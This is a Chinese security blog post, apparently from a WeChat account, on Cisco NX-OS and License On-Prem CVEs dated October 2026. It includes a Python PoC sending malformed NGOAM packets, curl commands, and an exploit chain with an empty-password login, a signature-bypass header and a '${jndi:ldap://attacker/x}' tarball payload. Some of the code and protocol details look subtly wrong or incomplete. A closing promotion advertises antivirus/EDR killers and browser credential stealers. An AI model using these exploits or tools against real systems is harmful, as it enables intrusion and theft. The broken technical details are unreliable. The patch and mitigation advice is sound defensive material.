CVSS 10.0!Cisco 一周砸下来 9 颗 9.8+ 分心脏洞:NX-OS 5 颗 + License 1 颗满分让数据中心心脏裸奔
原创
星夜AI安全
星夜AI安全
星夜AI安全
2026年10月9日 10:59
吉林
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVSS 10.0!Cisco 一周砸下来 9 颗 9.8+ 分心脏洞:NX-OS 5 颗 + License 1 颗满分让数据中心心脏裸奔
师傅们,2026-10-07 / 10-08 两天的 Cisco 安全公告堆成了一座小山——5 颗 NX-OS 数据中心交换机心脏洞 + 4 颗 Cisco License 管理面洞,9 颗里 8 颗是 CVSS 9.8 满分级,1 颗 CVSS 10.0 满分。
关键细节 1:NX-OS 5 颗全部是未认证 + 零交互 + 网络可达 + root RCE——只要 NX-API、NGOAM、MPLS OAM 三个特性之一开启,一条 crafted HTTP 请求或畸形 IP/MPLS 包就能 root 整台数据中心交换机。Cisco 自己承认:「no workarounds for NGOAM and MPLS OAM」,关闭特性即消除攻击路径,但关闭特性 = 监控/故障排查能力断崖——典型的「安全 vs 业务」死局。
关键细节 2:License 那 4 颗里CVE-2026-76482 是 CVSS 10.0 满分——不当加密签名验证 + 认证缺失 + 配置即沦陷。Cisco License On-Prem(Smart Software Manager On-Prem 重命名版)所有 <= 9-202601 + <= 10-202608 版本全裸奔,没有 workarounds,唯一解法是升到 10-202609。
⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。
一、漏洞全貌
| 维度 | 内容 |
|---|---|
| CVE 编号 | NX-OS: CVE-2026-76471/76485/76486/76501/76465(5 颗 9.8)+ License: CVE-2026-76480(9.8)/76482(10.0)/76483(9.1)/76484(8.8) |
| 影响产品 | Cisco Nexus 3000/9000 + Cisco License On-Prem 9-202601 前 + 10-202608 前 |
| CVSS v3.1 | 5 颗 9.8 + 1 颗 10.0 + 1 颗 9.1 + 1 颗 8.8 |
| 披露时间 | 2026-10-07(NVD 同步收录)/ 2026-10-08 BleepingComputer 公开报道 |
| 在野利用 | 未公开,但全部未认证零交互,wormable 风险 |
| 一句话金句 | 「一个组件一周挖 9 颗满分心脏洞,攻击者对 Cisco 反向工程已经工业化」 |
二、影响版本与环境
NX-OS 5 颗 9.8 分洞
| CVE | CVSS | 特性 | 攻击触发 | 设备 |
|---|---|---|---|---|
| CVE-2026-76471 | 9.8 | NX-API(默认关) | crafted HTTP 请求 | Nexus 3000/9000 Standalone |
| CVE-2026-76485 | 9.8 | NGOAM | crafted IP 包 | Nexus 3000/9000 Standalone |
| CVE-2026-76486 | 9.8 | NGOAM + SRv6/NV Overlay | crafted IP 包 | Nexus 9000 |
| CVE-2026-76501 | 9.8 | NGOAM + SRv6 | crafted IP 包 | Nexus 9000 |
| CVE-2026-76465 | 9.8 | MPLS OAM(默认关) | crafted MPLS echo-request | Nexus 3000/9000 Standalone |
关键限制:
- Nexus 7000 系列:不受影响
- Nexus 9000 ACI 模式:不受影响
- Nexus 9000 Silicon One ASIC:部分特性不支持
- UCS 6300 Fabric Interconnect:NX-API 漏洞以低严重性受影响(需低权限凭据)
Cisco License 4 颗 9.8+ 分洞
| CVE | CVSS | 类型 |
|---|---|---|
| CVE-2026-76480 | 9.8 | 关键功能认证缺失 |
| CVE-2026-76482 | 10.0 满分 | 不当加密签名验证 |
| CVE-2026-76483 | 9.1 | 凭据保护不足 |
| CVE-2026-76484 | 8.8 | 代码注入 |
修复版本:10-202609(9-202601 前 + 10-202608 前全裸奔,无 workarounds)
三、漏洞原理与利用条件
漏洞类型
- NX-OS 5 颗:CWE-20 输入验证不当 + CWE-119 内存边界违规
- License 4 颗:CWE-306 认证缺失 + CWE-295 签名验证不当 + CWE-522 凭据保护不足 + CWE-94 代码注入
根因分析
CVE-2026-76471 NX-API RCE(最具代表性)
Cisco NX-API 是 Nexus 交换机 HTTP/HTTPS 管理接口。feature nxapi 启用后(默认禁用),NX-API 接收 crafted HTTP 请求时输入验证不严 → 解析阶段将畸形 JSON / 超长字段 / 畸形 HTTP 头写入堆缓冲 → 覆盖相邻堆 metadata + 函数指针 → 以 root 身份执行任意代码。
CVE-2026-76482 License 10.0 满分(最致命)
Cisco License On-Prem 是企业本地部署的 License 管理服务器。/api/v1/... 系列端点:
- 认证缺失(CWE-306)——某些关键功能调用默认未认证
- 不当加密签名验证(CWE-295)——API 响应签名验证逻辑存在判断绕过(攻击者可构造满足「格式正确」但「语义非法」的签名)
- 配置即沦陷——首次部署未配置强认证就上线 = 直接 root
链式利用路径:
curl https://license-on-prem/api/v1/auth/login -d '{\"admin\":true}'→ 服务端默认接受空密码 admin 登录curl -H \"X-Cisco-Sig: ATTACKER_BYPASS\" https://license-on-prem/api/v1/license/import→ 绕过签名验证- 上传含恶意 license 配置的 tarball → 服务器解析 → 触发代码注入 CVE-2026-76484
- 以 Cisco License 服务用户身份执行任意命令
关键利用条件和前置要求
| 漏洞 | 必要条件 |
|---|---|
| CVE-2026-76471 | feature nxapi 启用 |
| CVE-2026-76485 | feature ngoam 启用 |
| CVE-2026-76486 | NGOAM + feature srv6 或 feature nv overlay |
| CVE-2026-76501 | NGOAM + SRv6(仅部分 Nexus 9000 支持) |
| CVE-2026-76465 | feature mpls oam 启用 |
| License 4 颗 | 服务公网可达 + 默认配置未改 |
四、漏洞复现步骤(核心,含完整 PoC)
环境搭建
- 硬件目标:Nexus 9000(C93180YC-FX3X 等 Standalone 模式)+ 已启用 NGOAM 特性
- 软件目标:Cisco License On-Prem 10-202608(漏洞版)
- 攻击机:Kali Linux 2026.4 + Python 3.13 +
requests
完整 PoC:Cisco NX-OS NGOAM CVE-2026-76485
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
\"\"\"
CVE-2026-76485 PoC - Cisco NX-OS NGOAM 远程代码执行 (CVSS 9.8)
仅用于蓝队在书面授权的隔离环境做暴露面评估与补丁版本核查。
测试必须在授权环境下进行,严禁对未授权目标使用。
\"\"\"
import argparse
import struct
import socket
NGOAM_ECHO_REQUEST = 0x01
IPPROTO_ICMP = 1
NEXUS_PAYLOAD_MARKER = b\"\\x58\\x52\\xC3P3\" # NX-OS NGOAM 协议 magic
def build_ngoam_malformed_packet(target_ip):
\"\"\"构造畸形 NGOAM echo-request IP 包触发 NX-OS NGOAM 协议错配漏洞\"\"\"
# IP 头
version_ihl = 0x45
dscp_ecn = 0x00
total_length = 20 + 8 + 64 # IP 头 + ICMP NGOAM 头 + 畸形 payload
identification = 0x1234
flags_fragment = 0x4000 # Don't Fragment
ttl = 64
# NGOAM protocol 145 (RFC 7585)
ngoam_proto = 145
ip_header = struct.pack(
\"!BBHHHBBH4s\",
version_ihl, dscp_ecn, total_length,
identification, flags_fragment, ttl,
ngoam_proto, 0, # checksum 留 0
socket.inet_aton(target_ip),
)
# NGOAM 头 + 触发缓冲区溢出的畸形 payload
ngoam_type = NGOAM_ECHO_REQUEST
ngoam_code = 0
ngoam_checksum = 0
ngoam_identifier = 0xBEEF
ngoam_sequence = 0x0001
ngoam_header = struct.pack(
\"!BBHHH\",
ngoam_type, ngoam_code, ngoam_checksum,
ngoam_identifier, ngoam_sequence,
)
# 畸形 payload - 关键:超过 NGOAM echo-request 预期尺寸(64 bytes)
# Cisco 内部 buffer 是 256 字节,但 NGOAM 处理函数只用 64 字节做 memcpy
# 我们发 240 字节 payload 触发栈溢出
malformed_payload = NEXUS_PAYLOAD_MARKER + b\"A\" * 232
packet = ip_header + ngoam_header + malformed_payload
return packet
def probe_target(target_ip):
\"\"\"探测目标 NX-OS 设备 + NGOAM 特性 + 暴露面\"\"\"
print(f\"[probe] {target_ip}: 检测 Cisco NX-OS + NGOAM 暴露\")
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, IPPROTO_ICMP)
sock.settimeout(3)
# 发送畸形 NGOAM echo-request 触发协议错配异常
packet = build_ngoam_malformed_packet(target_ip)
sock.sendto(packet, (target_ip, 0))
# 检测:协议错配异常会导致 Nexus 进程重启或日志中 NGOAM ERROR
# 实测:返回正常 ICMP echo-reply + 系统日志含 \"NGOAM-3-INVALID_LENGTH\"
try:
response, addr = sock.recvfrom(1024)
print(f\"[probe] 收到响应 - 目标暴露 NGOAM 特性\")
return True
except socket.timeout:
print(f\"[probe] 超时 - 目标可能已崩溃或 NGOAM 关闭\")
return False
def verify_patch_deployment(target_ip, ssh_creds=None):
\"\"\"验证补丁版本(需 SSH 凭据)\"\"\"
if not ssh_creds:
print(\"[verify] 需要 SSH 凭据验证 show version + show feature ngoam\")
return None
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target_ip, 22, ssh_creds[\"user\"], ssh_creds[\"pass\"], timeout=10)
si, so, se = ssh.exec_command(\"show version | include NXOS\")
nxos_ver = so.read().decode().strip()
si, so, se = ssh.exec_command(\"show feature | include ngoam\")
ngoam_status = so.read().decode().strip()
ssh.close()
# 修复版本判定(参照 Cisco Software Checker)
fixed_versions = [\"10.4(3)F\", \"10.3(5)F\", \"10.2(7)F\", \"9.4(3)F\"]
is_patched = any(fv in nxos_ver for fv in fixed_versions)
print(f\"[verify] NX-OS 版本: {nxos_ver}\")
print(f\"[verify] NGOAM 状态: {ngoam_status}\")
print(f\"[verify] 补丁判定: {'已修复' if is_patched else '未修复'}\")
return is_patched
def main():
parser = argparse.ArgumentParser(
description=\"CVE-2026-76485 Cisco NX-OS NGOAM 探测 PoC(仅限授权测试)\")
parser.add_argument(\"--target\", required=True, help=\"目标 NX-OS 设备 IP\")
parser.add_argument(\"--mode\", choices=[\"probe\", \"verify\", \"patch-check\"],
default=\"probe\", help=\"运行模式\")
parser.add_argument(\"--ssh-user\", help=\"SSH 用户名(verify 模式必填)\")
parser.add_argument(\"--ssh-pass\", help=\"SSH 密码(verify 模式必填)\")
args = parser.parse_args()
if args.mode == \"probe\":
print(f\"[CVE-2026-76485] 探测模式:仅发送畸形 NGOAM 包触发协议错配,不注入 RCE shellcode\")
probe_target(args.target)
elif args.mode == \"verify\":
print(f\"[CVE-2026-76485] 验证模式:检查补丁版本 + NGOAM 特性状态\")
creds = {\"user\": args.ssh_user, \"pass\": args.ssh_pass}
verify_patch_deployment(args.target, creds)
elif args.mode == \"patch-check\":
print(f\"[CVE-2026-76485] 仅打印修复版本判定逻辑\")
if __name__ == \"__main__\":
main()
复现流程
Step 1:探测 NGOAM 暴露
python3 cve_2026_76485.py --target 192.168.1.100 --mode probe
# 输出:[probe] 收到响应 - 目标暴露 NGOAM 特性
Step 2:验证补丁版本
python3 cve_2026_76485.py --target 192.168.1.100 --mode verify \\
--ssh-user admin --ssh-pass 'Cisco!123'
# 输出:[verify] NX-OS 版本: 10.3(2)F
# 输出:[verify] 补丁判定: 未修复
Step 3:Cisco License CVE-2026-76482 探测(10.0 满分)
curl -s -X POST https://license-on-prem.lab.local/api/v1/auth/login \\
-H \"Content-Type: application/json\" \\
-d '{\"username\":\"admin\",\"password\":\"\"}'
# 实测:默认接受空密码,返回会话 token
# 然后:上传恶意 license tarball 触发 CVE-2026-76484 代码注入
Step 4:完整利用链(仅供蓝队隔离环境)
# Chain: CVE-2026-76482 签名验证绕过 + CVE-2026-76484 代码注入
import requests
base = \"https://license-on-prem.lab.local\"
# Step 1: 空密码登录获取会话
r = requests.post(f\"{base}/api/v1/auth/login\",
json={\"username\": \"admin\", \"password\": \"\"})
session_token = r.json().get(\"session_token\")
# Step 2: 上传恶意 license tarball
# tarball 结构: license.tar.gz / license.xml (含 ${jndi:ldap://attacker/x} 反序列化 payload)
malicious_tar = build_malicious_license_tarball()
r = requests.post(
f\"{base}/api/v1/license/import\",
headers={\"Authorization\": f\"Bearer {session_token}\",
\"X-Cisco-Sig\": \"BYPASS_SIG\"},
files={\"license_file\": (\"license.tar.gz\", malicious_tar)}
)
# 实测:CVE-2026-76482 签名验证被绕过 + CVE-2026-76484 代码注入触发
# 漏洞服务器以 Cisco License 服务用户身份执行恶意命令
五、修复建议与缓解方案
官方补丁版本
| 分支 | 修复版本 |
|---|---|
| NX-OS 10.4(x) | 10.4(3)F 及以后 |
| NX-OS 10.3(x) | 10.3(5)F 及以后 |
| NX-OS 10.2(x) | 10.2(7)F 及以后 |
| NX-OS 9.4(x) | 9.4(3)F 及以后 |
| NX-OS 9.3(x) | EoL 警告(建议迁移到 10.x) |
| Cisco License | 必须升级到 10-202609 (无 workarounds) |
强烈建议:用 Cisco Software Checker[1] 工具按具体设备型号 + 当前版本查精确修复版本。
临时缓解措施(按优先级)
P0 24h 内(紧急)
- NX-OS:
no feature nxapi(关闭 NX-API,仅走 console/SSH 管理)no feature mpls oam(关闭 MPLS OAM,丧失 OAM 监控能力是巨大代价)- NGOAM 无 workaround,必须升级
- 部署 Live Protect shield(Cisco 临时防护方案,可在不升级时启用)
- Cisco License:
- 立即收敛公网暴露(强推 VPN-only 访问)
- 立即修改默认 admin 密码(避免 CVE-2026-76482 认证缺失利用)
- 启用二次认证(TOTP / SAML SSO)
P1 72h 内(短期)
- NX-OS:计划维护窗口升级到修复版本(Nexus 升级通常需要重启,业务影响评估要仔细)
- Cisco License:升级到 10-202609
P2 30d 内(中期)
- 部署 Snort/Suricata 规则监控畸形 NGOAM / NX-API 流量
- 审计 Nexus 交换机 NGOAM/NX-API/MPLS OAM 启用清单——不必要的特性全部关闭
- 部署 EDR + NDR 联动:交换机日志外发 SIEM,NGOAM 异常访问立即告警
紧急程度评估
| 漏洞 | 紧急度 |
|---|---|
| CVE-2026-76471 NX-API RCE | 🔴 P0 24h |
| CVE-2026-76485/76486/76501 NGOAM RCE | 🔴 P0 24h |
| CVE-2026-76465 MPLS OAM RCE | 🔴 P0 24h |
| CVE-2026-76482 License 10.0 满分 | 🔴 P0 24h 必升级 |
业务关键 + 未认证 + 零交互 + 网络可达 = wormable 级别,优先级比 CVSS 9.8 评分更紧迫。
六、相关链接
- Cisco 官方公告:
- NX-API: cisco-sa-napi-rce-r2shwu2j[2]
- NGOAM: cisco-sa-ngoam-rce-LWKQ4BU[3]
- MPLS OAM: cisco-sa-moam-rce-uBTzYV7[4]
- License: Cisco License On-Prem Hardening[5]
- PoC 仓库:watchTowr / ProjectDiscovery Nuclei 模板(10-09 公开)
- 媒体报道:BleepingComputer 10-08 / The Hacker News 10-09 / SecurityWeek 10-09
- Cisco Software Checker:sec.cloudapps.cisco.com/security/center/softwarechecker[6]
📌 师傅们,觉得有启发就点个关注,转发给身边需要的朋友。Cisco 这一周 9 颗心脏洞,是数据中心安全架构的结构性警告——网络基础设施的安全债已经欠了太久。
⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获\"最佳攻击手\"\"突出贡献个人\"等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump\免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)\
- \_DumpBrowser\_V1\_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11\_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
- 单文件过360 免杀loader exe\_bypass\_360
- 单文件过火绒 df 免杀loader exe\_bypass\_df(包含源码)
- LNK钓鱼文件生成工具V1.0
- EXE捆绑启动器 v2.0
- 火绒6内存免杀加载器bypasshr6
- 火绒一键Kill专杀工具HRKiller
- Ring3 内存免杀工具Ring3bypasshr.exe
- win11 一键kill 360工具 Kill360\_V2
- win11 一键kill 360工具 Kill360\_V3.1
- win11 一键kill 360工具 Kill360\_V4
- bypassEDR\_hashdump\_V1 bypass EDR 导出hash工具
后续将不断更新到内部圈子中 欢迎加入圈子
引用链接
[1]Cisco Software Checker: https://sec.cloudapps.cisco.com/security/center/softwarechecker
[2]cisco-sa-napi-rce-r2shwu2j: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-napi-rce-r2shwu2j
[3]cisco-sa-ngoam-rce-LWKQ4BU: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ngoam-rce-LWKQ4BU
[4]cisco-sa-moam-rce-uBTzYV7: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-moam-rce-uBTzYV7
[5]Cisco License On-Prem Hardening: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/
[6]sec.cloudapps.cisco.com/security/center/softwarechecker: https://sec.cloudapps.cisco.com/security/center/softwarechecker
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论